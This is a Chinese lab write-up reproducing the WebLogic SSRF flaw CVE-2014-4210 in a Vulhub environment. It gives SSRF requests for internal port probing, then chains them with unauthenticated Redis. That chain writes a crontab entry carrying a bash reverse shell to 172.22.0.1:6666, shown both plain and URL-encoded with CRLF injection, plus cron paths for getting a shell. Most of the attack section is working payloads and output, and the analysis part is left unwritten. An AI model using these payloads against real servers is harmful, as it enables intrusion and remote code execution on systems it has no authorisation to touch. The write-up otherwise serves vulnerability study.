0x00 前言

简单学习WebLogic SSRF(CVE-2014-4210),这个漏洞已经很老了。

0x01 WebLogic SSRF(CVE-2014-4210)

环境搭建

用的Vulhub:https://vulhub.org/#/environments/weblogic/ssrf/

影响版本

Oracle WebLogic Server 10.0.2, 10.3.6。

漏洞原理

WebLogic的SearchPublicReqistries.jsp接口存在SSRF漏洞,如果服务端或内网存在Redis未授权访问漏洞等则可以进一步打漏洞组合拳进行攻击利用。

漏洞复现

无需登录,可以直接访问/uddiexplorer/接口,其中漏洞接口如图中所指的Search Public Registries:

访问存活的地址:

1
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

此时返回的错误信息是:

1
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

访问不存在的地址:

1
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000

此时返回的错误信息是:

1
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7000'

根据二元组的返回结果,就可以判断目标机子的端口服务是否开放,从而进行相应的SSRF攻击。

接着结合内网存在的Redis未授权访问进行利用。

先探测内网是否存在Redis服务:

1
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.24.0.2:6379

根据响应返回内容看到网络是通的,该内网IP存在Redis服务。

写入crontab计划通过bash反弹shell:

1
2
3
4
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/172.22.0.1/6666 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

对其进行URL编码:

1
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.0.1%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

放到存在SSRF的参数值URL后面,注意在前面和后面分别添加%0D%0A%0D%0A来实现HTTP头CRLF注入:

1
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.24.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.0.1%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

在Redis服务机子上成功写入crontab:

成功通过crontab定时任务反弹shell:

crontab写入Tips:

  • /etc/crontab
  • /etc/cron.d/*:将任意文件写到该目录下,效果和crontab相同,格式也要一致,并且在该目录操作可以做到不覆盖任何其他文件的情况进行弹shell;
  • /var/spool/cron/root:CentOS系统下root用户的cron文件;
  • /var/spool/cron/crontabs/root:Debian系统下root用户的cron文件;

漏洞分析

待分析…

防御方法

升级WebLogic版本。